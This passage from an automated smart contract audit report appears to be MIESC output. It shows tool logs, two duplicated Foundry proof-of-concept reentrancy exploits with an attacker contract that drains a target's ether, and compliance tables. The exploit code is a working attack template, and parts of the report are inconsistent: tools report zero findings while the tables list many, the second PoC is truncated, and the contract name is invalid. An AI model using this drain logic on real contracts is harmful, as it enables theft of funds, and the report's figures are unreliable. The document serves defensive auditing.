Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.44. I2_validator

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.45. circom_analyzer

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.46. llmbugscanner

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.47. audit_consensus

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.48. exploit_synthesizer

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.49. vuln_verifier

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

Analysis completed successfully.
Findings detected: 0

A.50. remediation_validator

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

Analysis completed successfully.
Findings detected: 0

Appendix B: Proof of Concept Exploits

The following PoC exploit templates were generated for critical/high findings. These are designed for local Foundry test environments and are NOT production exploits.

B.5. F-005 - reentrancy-state-change

Severity: HIGH | **Category:** reentrancy-state-change

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title 0914_flatten_Contract_4 Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Changing state after an external call can lead to re-entrancy
 attacks.Use the checks-effects-interactions pattern to avoid this issue.
 * Severity: High
 * Target Function: unknown
 * Generated: 2026-09-14 20:49
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract 0914_flatten_Contract_4ReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function unknown() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
```

```

address public victim;

// Initial balances
uint256 constant VICTIM_DEPOSIT = 10 ether;
uint256 constant ATTACKER_DEPOSIT = 1 ether;

function setUp() public {
    // Setup accounts
    attacker = makeAddr("attacker");
    victim = makeAddr("victim");

    vm.deal(attacker, 100 ether);
    vm.deal(victim, 10 ether);

    // Deploy target contract
    // target = IVulnerable(deployCode("0914_flatten_Contract_4.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost

```

```

funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    uint256 count = attackerContract.reentrancyCount();
    console.log("Reentrancy count:", count);

    assertGt(count, 1, "Should have re-entered at least once");
}
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance >= 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("unknown()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("unknown()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {

```

```

        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}

```

B.6. F-006 - reentrancy-state-change

Severity: HIGH | Category: reentrancy-state-change

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title 0914_flatten_Contract_4 Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Changing state after an external call can lead to re-entrancy
 attacks.Use the checks-effects-interactions pattern to avoid this issue.
 * Severity: High
 * Target Function: unknown
 * Generated: 2026-09-14 20:49
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract 0914_flatten_Contract_4ReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function unknown() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);
    }
}

```

```

// Deploy target contract
// target = IVulnerable(deployCode("0914_flatten_Contract_4.sol"));

// Deploy attacker contract
vm.prank(attacker);
attackerContract = new AttackerContract(address(target));

// Victim deposits funds
vm.prank(victim);
target.deposit{value: VICTIM_DEPOSIT}();

console.log("=== Setup Complete ===");
console.log("Target balance:", address(target).balance);
console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

```

```

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }
}

```

Appendix C: Files Analyzed

#	FILE PATH	LINES	FUNCTIONS	FINDINGS
1	0914_flatten_Contract_4.sol	234	9	68

Appendix D: SWC Registry Compliance

SWC ID	TITLE	STATUS	FINDING(S)
SWC-101	Integer Overflow and Underflow	Found	F1, F2
SWC-102	Outdated Compiler Version	Not Found	--
SWC-103	Floating Pragma	Not Found	--
SWC-104	Unchecked Call Return Value	Found	F1, F2
SWC-105	Unprotected Ether Withdrawal	Found	F1, F2, F3, F4, F5, F6, F7, F8, F9, F10
SWC-107	Reentrancy	Found	F1, F2, F3, F4
SWC-115	Authorization through tx.origin	Not Found	--
SWC-116	Block values as a proxy for time	Found	F1, F2, F3

Appendix E: OWASP Smart Contract Top 10

RANK	CATEGORY	STATUS	FINDINGS
SC01	Reentrancy Attacks		4
SC02	Access Control Vulnerabilities		10
SC03	Arithmetic Issues		3
SC04	Unchecked Return Values		3
SC05	Denial of Service		0
SC06	Bad Randomness		1
SC08	Time Manipulation		3
SC09	Short Address Attack		1

Appendix F: Glossary

TERM	DEFINITION
Reentrancy	A vulnerability where an external call allows execution to re-enter the calling contract before the first execution completes
Integer Overflow	When an arithmetic operation results in a value larger than can be stored in the variable
Front-running	Exploiting knowledge of pending transactions to gain an advantage
Flash Loan Attack	Using uncollateralized loans within a single transaction to manipulate protocols
Oracle Manipulation	Attacking price feeds or external data sources to influence contract behavior
Access Control	Mechanisms that restrict who can execute sensitive functions

Appendix G: Audit Trail

EVENT	TIMESTAMP	HASH
Contract Snapshot	2026-09-14	N/A
Analysis Started	2026-09-14	--

EVENT	TIMESTAMP	HASH
Analysis Completed	2026-09-14 19:13:23	--
Report Generated	2026-09-14 19:13:23	--
Report Hash	2026-09-14 19:13:23	N/A

Disclaimer

This audit report is provided on an "AS IS" basis without warranties of any kind, whether express or implied. The findings and recommendations represent the auditor's professional opinion based on the scope and methodology described.

Limitations: - This audit does not guarantee the absence of vulnerabilities - Smart contract security is an evolving field - New vulnerabilities may be discovered post-audit - Economic and governance attacks may not be fully modeled - The client is responsible for implementing and testing fixes

Model-Assisted Interpretation Disclosure: Sections labeled as model-assisted were produced using large language models (mistral:latest). These interpretations are supplementary and must be reviewed by qualified security professionals before operational use.

Powered by [MIESC](https://github.com/fboiero/MIESC) Multi-layer Intelligent Evaluation for Smart Contracts *Report generated: 2026-09-14 19:13:23* *Report Version: 1.0*